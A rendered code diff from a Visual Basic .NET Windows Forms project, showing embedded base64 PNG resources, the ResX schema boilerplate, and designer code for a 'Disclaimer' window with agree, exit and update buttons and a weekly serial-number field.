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
|
||||
</value>
|
||||
</data>
|
||||
<metadata name="$this.TrayHeight" type="System.Int32, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
|
||||
<value>57</value>
|
||||
</metadata>
|
||||
</root>
|
||||
File diff suppressed because it is too large
Load Diff
+176
@@ -0,0 +1,176 @@
|
||||
<Global.Microsoft.VisualBasic.CompilerServices.DesignerGenerated()> _
|
||||
Partial Class Form2
|
||||
Inherits System.Windows.Forms.Form
|
||||
|
||||
'Form overrides dispose to clean up the component list.
|
||||
<System.Diagnostics.DebuggerNonUserCode()> _
|
||||
Protected Overrides Sub Dispose(ByVal disposing As Boolean)
|
||||
Try
|
||||
If disposing AndAlso components IsNot Nothing Then
|
||||
components.Dispose()
|
||||
End If
|
||||
Finally
|
||||
MyBase.Dispose(disposing)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
'Required by the Windows Form Designer
|
||||
Private components As System.ComponentModel.IContainer
|
||||
|
||||
'NOTE: The following procedure is required by the Windows Form Designer
|
||||
'It can be modified using the Windows Form Designer.
|
||||
'Do not modify it using the code editor.
|
||||
<System.Diagnostics.DebuggerStepThrough()> _
|
||||
Private Sub InitializeComponent()
|
||||
Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(Form2))
|
||||
Me.PictureBox1 = New System.Windows.Forms.PictureBox
|
||||
Me.Label1 = New System.Windows.Forms.Label
|
||||
Me.Label2 = New System.Windows.Forms.Label
|
||||
Me.MButton2 = New SCV6._0.MButton
|
||||
Me.MButton1 = New SCV6._0.MButton
|
||||
Me.TextBox1 = New System.Windows.Forms.TextBox
|
||||
Me.Label3 = New System.Windows.Forms.Label
|
||||
Me.Label4 = New System.Windows.Forms.Label
|
||||
Me.Label5 = New System.Windows.Forms.Label
|
||||
Me.MButton3 = New SCV6._0.MButton
|
||||
CType(Me.PictureBox1, System.ComponentModel.ISupportInitialize).BeginInit()
|
||||
Me.SuspendLayout()
|
||||
'
|
||||
'PictureBox1
|
||||
'
|
||||
Me.PictureBox1.BackgroundImage = CType(resources.GetObject("PictureBox1.BackgroundImage"), System.Drawing.Image)
|
||||
Me.PictureBox1.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch
|
||||
Me.PictureBox1.Location = New System.Drawing.Point(26, 12)
|
||||
Me.PictureBox1.Name = "PictureBox1"
|
||||
Me.PictureBox1.Size = New System.Drawing.Size(235, 49)
|
||||
Me.PictureBox1.TabIndex = 0
|
||||
Me.PictureBox1.TabStop = False
|
||||
'
|
||||
'Label1
|
||||
'
|
||||
Me.Label1.Font = New System.Drawing.Font("Calibri", 9.0!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
|
||||
Me.Label1.ForeColor = System.Drawing.Color.Yellow
|
||||
Me.Label1.Location = New System.Drawing.Point(12, 77)
|
||||
Me.Label1.Name = "Label1"
|
||||
Me.Label1.Size = New System.Drawing.Size(285, 161)
|
||||
Me.Label1.TabIndex = 1
|
||||
Me.Label1.Text = resources.GetString("Label1.Text")
|
||||
'
|
||||
'Label2
|
||||
'
|
||||
Me.Label2.Font = New System.Drawing.Font("Calibri", 9.0!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
|
||||
Me.Label2.ForeColor = System.Drawing.Color.Yellow
|
||||
Me.Label2.Location = New System.Drawing.Point(12, 238)
|
||||
Me.Label2.Name = "Label2"
|
||||
Me.Label2.Size = New System.Drawing.Size(285, 90)
|
||||
Me.Label2.TabIndex = 2
|
||||
Me.Label2.Text = resources.GetString("Label2.Text")
|
||||
'
|
||||
'MButton2
|
||||
'
|
||||
Me.MButton2.Font = New System.Drawing.Font("Calibri", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
|
||||
Me.MButton2.ForeColor = System.Drawing.Color.Yellow
|
||||
Me.MButton2.Location = New System.Drawing.Point(15, 360)
|
||||
Me.MButton2.Name = "MButton2"
|
||||
Me.MButton2.Size = New System.Drawing.Size(128, 23)
|
||||
Me.MButton2.TabIndex = 4
|
||||
Me.MButton2.Text = "EXIT"
|
||||
'
|
||||
'MButton1
|
||||
'
|
||||
Me.MButton1.Font = New System.Drawing.Font("Calibri", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
|
||||
Me.MButton1.ForeColor = System.Drawing.Color.Yellow
|
||||
Me.MButton1.Location = New System.Drawing.Point(15, 331)
|
||||
Me.MButton1.Name = "MButton1"
|
||||
Me.MButton1.Size = New System.Drawing.Size(128, 23)
|
||||
Me.MButton1.TabIndex = 3
|
||||
Me.MButton1.Text = "I AGREE"
|
||||
'
|
||||
'TextBox1
|
||||
'
|
||||
Me.TextBox1.Location = New System.Drawing.Point(149, 333)
|
||||
Me.TextBox1.Name = "TextBox1"
|
||||
Me.TextBox1.Size = New System.Drawing.Size(148, 21)
|
||||
Me.TextBox1.TabIndex = 5
|
||||
Me.TextBox1.Text = "XXXX-XXXX-XXXX-XXXX"
|
||||
Me.TextBox1.TextAlign = System.Windows.Forms.HorizontalAlignment.Center
|
||||
'
|
||||
'Label3
|
||||
'
|
||||
Me.Label3.AutoSize = True
|
||||
Me.Label3.Location = New System.Drawing.Point(187, 360)
|
||||
Me.Label3.Name = "Label3"
|
||||
Me.Label3.Size = New System.Drawing.Size(74, 26)
|
||||
Me.Label3.TabIndex = 6
|
||||
Me.Label3.Text = "Serial Number" & Global.Microsoft.VisualBasic.ChrW(13) & Global.Microsoft.VisualBasic.ChrW(10) & "For the Week"
|
||||
Me.Label3.TextAlign = System.Drawing.ContentAlignment.MiddleCenter
|
||||
'
|
||||
'Label4
|
||||
'
|
||||
Me.Label4.AutoSize = True
|
||||
Me.Label4.Location = New System.Drawing.Point(144, 399)
|
||||
Me.Label4.Name = "Label4"
|
||||
Me.Label4.Size = New System.Drawing.Size(107, 13)
|
||||
Me.Label4.TabIndex = 7
|
||||
Me.Label4.Text = "Latest Ver. Available: "
|
||||
'
|
||||
'Label5
|
||||
'
|
||||
Me.Label5.AutoSize = True
|
||||
Me.Label5.Location = New System.Drawing.Point(257, 399)
|
||||
Me.Label5.Name = "Label5"
|
||||
Me.Label5.Size = New System.Drawing.Size(40, 13)
|
||||
Me.Label5.TabIndex = 8
|
||||
Me.Label5.Text = "6.0.0.0"
|
||||
'
|
||||
'MButton3
|
||||
'
|
||||
Me.MButton3.Font = New System.Drawing.Font("Calibri", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
|
||||
Me.MButton3.ForeColor = System.Drawing.Color.Yellow
|
||||
Me.MButton3.Location = New System.Drawing.Point(15, 389)
|
||||
Me.MButton3.Name = "MButton3"
|
||||
Me.MButton3.Size = New System.Drawing.Size(128, 23)
|
||||
Me.MButton3.TabIndex = 9
|
||||
Me.MButton3.Text = "UPDATE"
|
||||
'
|
||||
'Form2
|
||||
'
|
||||
Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
|
||||
Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
|
||||
Me.BackColor = System.Drawing.Color.Black
|
||||
Me.ClientSize = New System.Drawing.Size(309, 426)
|
||||
Me.Controls.Add(Me.MButton3)
|
||||
Me.Controls.Add(Me.Label5)
|
||||
Me.Controls.Add(Me.Label4)
|
||||
Me.Controls.Add(Me.Label3)
|
||||
Me.Controls.Add(Me.TextBox1)
|
||||
Me.Controls.Add(Me.MButton2)
|
||||
Me.Controls.Add(Me.MButton1)
|
||||
Me.Controls.Add(Me.Label2)
|
||||
Me.Controls.Add(Me.Label1)
|
||||
Me.Controls.Add(Me.PictureBox1)
|
||||
Me.Font = New System.Drawing.Font("Calibri", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
|
||||
Me.ForeColor = System.Drawing.Color.Yellow
|
||||
Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None
|
||||
Me.Name = "Form2"
|
||||
Me.Opacity = 0.9
|
||||
Me.ShowIcon = False
|
||||
Me.ShowInTaskbar = False
|
||||
Me.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen
|
||||
Me.Text = "Disclaimer"
|
||||
CType(Me.PictureBox1, System.ComponentModel.ISupportInitialize).EndInit()
|
||||
Me.ResumeLayout(False)
|
||||
Me.PerformLayout()
|
||||
|
||||
End Sub
|
||||
Friend WithEvents PictureBox1 As System.Windows.Forms.PictureBox
|
||||
Friend WithEvents Label1 As System.Windows.Forms.Label
|
||||
Friend WithEvents Label2 As System.Windows.Forms.Label
|
||||
Friend WithEvents MButton1 As SCV6._0.MButton
|
||||
Friend WithEvents MButton2 As SCV6._0.MButton
|
||||
Friend WithEvents TextBox1 As System.Windows.Forms.TextBox
|
||||
Friend WithEvents Label3 As System.Windows.Forms.Label
|
||||
Friend WithEvents Label4 As System.Windows.Forms.Label
|
||||
Friend WithEvents Label5 As System.Windows.Forms.Label
|
||||
Friend WithEvents MButton3 As SCV6._0.MButton
|
||||
End Class
|
||||
@@ -0,0 +1,249 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<assembly alias="System.Drawing" name="System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
|
||||
<data name="PictureBox1.BackgroundImage" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>
|
||||
iVBORw0KGgoAAAANSUhEUgAAAU4AAABOCAYAAABPJP/dAAAABGdBTUEAALGOfPtRkwAAACBjSFJNAACH
|
||||
DwAAjA8AAP1SAACBQAAAfXkAAOmLAAA85QAAGcxzPIV3AAAKOWlDQ1BQaG90b3Nob3AgSUNDIHByb2Zp
|
||||
bGUAAEjHnZZ3VFTXFofPvXd6oc0wAlKG3rvAANJ7k15FYZgZYCgDDjM0sSGiAhFFRJoiSFDEgNFQJFZE
|
||||
sRAUVLAHJAgoMRhFVCxvRtaLrqy89/Ly++Osb+2z97n77L3PWhcAkqcvl5cGSwGQyhPwgzyc6RGRUXTs
|
||||
AIABHmCAKQBMVka6X7B7CBDJy82FniFyAl8EAfB6WLwCcNPQM4BOB/+fpFnpfIHomAARm7M5GSwRF4g4
|
||||
JUuQLrbPipgalyxmGCVmvihBEcuJOWGRDT77LLKjmNmpPLaIxTmns1PZYu4V8bZMIUfEiK+ICzO5nCwR
|
||||
3xKxRoowlSviN+LYVA4zAwAUSWwXcFiJIjYRMYkfEuQi4uUA4EgJX3HcVyzgZAvEl3JJS8/hcxMSBXQd
|
||||
li7d1NqaQffkZKVwBALDACYrmcln013SUtOZvBwAFu/8WTLi2tJFRbY0tba0NDQzMv2qUP91829K3NtF
|
||||
ehn4uWcQrf+L7a/80hoAYMyJarPziy2uCoDOLQDI3fti0zgAgKSobx3Xv7oPTTwviQJBuo2xcVZWlhGX
|
||||
wzISF/QP/U+Hv6GvvmckPu6P8tBdOfFMYYqALq4bKy0lTcinZ6QzWRy64Z+H+B8H/nUeBkGceA6fwxNF
|
||||
hImmjMtLELWbx+YKuGk8Opf3n5r4D8P+pMW5FonS+BFQY4yA1HUqQH7tBygKESDR+8Vd/6NvvvgwIH55
|
||||
4SqTi3P/7zf9Z8Gl4iWDm/A5ziUohM4S8jMX98TPEqABAUgCKpAHykAd6ABDYAasgC1wBG7AG/iDEBAJ
|
||||
VgMWSASpgA+yQB7YBApBMdgJ9oBqUAcaQTNoBcdBJzgFzoNL4Bq4AW6D+2AUTIBnYBa8BgsQBGEhMkSB
|
||||
5CEVSBPSh8wgBmQPuUG+UBAUCcVCCRAPEkJ50GaoGCqDqqF6qBn6HjoJnYeuQIPQXWgMmoZ+h97BCEyC
|
||||
qbASrAUbwwzYCfaBQ+BVcAK8Bs6FC+AdcCXcAB+FO+Dz8DX4NjwKP4PnEIAQERqiihgiDMQF8UeikHiE
|
||||
j6xHipAKpAFpRbqRPuQmMorMIG9RGBQFRUcZomxRnqhQFAu1BrUeVYKqRh1GdaB6UTdRY6hZ1Ec0Ga2I
|
||||
1kfboL3QEegEdBa6EF2BbkK3oy+ib6Mn0K8xGAwNo42xwnhiIjFJmLWYEsw+TBvmHGYQM46Zw2Kx8lh9
|
||||
rB3WH8vECrCF2CrsUexZ7BB2AvsGR8Sp4Mxw7rgoHA+Xj6vAHcGdwQ3hJnELeCm8Jt4G749n43PwpfhG
|
||||
fDf+On4Cv0CQJmgT7AghhCTCJkIloZVwkfCA8JJIJKoRrYmBRC5xI7GSeIx4mThGfEuSIemRXEjRJCFp
|
||||
B+kQ6RzpLuklmUzWIjuSo8gC8g5yM/kC+RH5jQRFwkjCS4ItsUGiRqJDYkjiuSReUlPSSXK1ZK5kheQJ
|
||||
